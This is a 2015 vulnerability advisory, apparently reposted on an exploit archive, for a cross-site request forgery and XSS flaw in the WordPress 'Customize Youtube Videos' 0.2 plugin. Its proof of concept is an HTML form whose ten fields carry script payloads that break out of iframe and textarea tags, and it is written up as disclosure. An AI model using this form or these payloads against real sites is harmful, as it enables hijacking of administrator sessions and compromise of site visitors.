WordPress Customize Youtube Videos 0.2 Cross Site Scripting Vulnerability

Title: WordPress 'Customize Youtube Videos' Plugin 
Version: 0.2
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej
Date: 2015-06-16
Download: 
- https://wordpress.org/plugins/customize-youtube-videos/
- https://plugins.svn.wordpress.org/customize-youtube-videos/
Notified Vendor/WordPress: 2015-06-21
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## Plugin description
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This plugin lets you customize the Youtube videos you are going to embed in your posts and pages

## CSRF/XSS vulnerabilities
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Customized video settings are displayed unsanitized when pressing "Get the new embed code for your customized Youtube video".

PoC: 
Log in as admin and submit the following form

<form method="POST" action="[URL]/wp-admin/admin.php?page=customize-youtube-videos"> 
   <input type="text" name="code" value="'></iframe></textarea><script>alert(1)</script>"><br />
   <input type="text" name="start" value="'></iframe></textarea><script>alert(2)</script>"><br />
   <input type="text" name="end" value="'></iframe></textarea><script>alert(3)</script>"><br />
   <input type="text" name="autohide" value="'></iframe></textarea><script>alert(4)</script>"><br />
   <input type="text" name="autoplay" value="'></iframe></textarea><script>alert(5)</script>"><br />
   <input type="text" name="cc_load_policy" value="'></iframe></textarea><script>alert(6)</script>"><br />
   <input type="text" name="controls" value="'></iframe></textarea><script>alert(7)</script>"><br />
   <input type="text" name="loop" value="'></iframe></textarea><script>alert(8)</script>"><br />
   <input type="text" name="rel" value="'></iframe></textarea><script>alert(9)</script>"><br />
   <input type="text" name="showinfo" value="'></iframe></textarea><script>alert(10)</script>"><br />
  <input type="submit">
</form>


## Solution
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No fix available

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XSS vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.

#  0day.today [2018-01-02]  #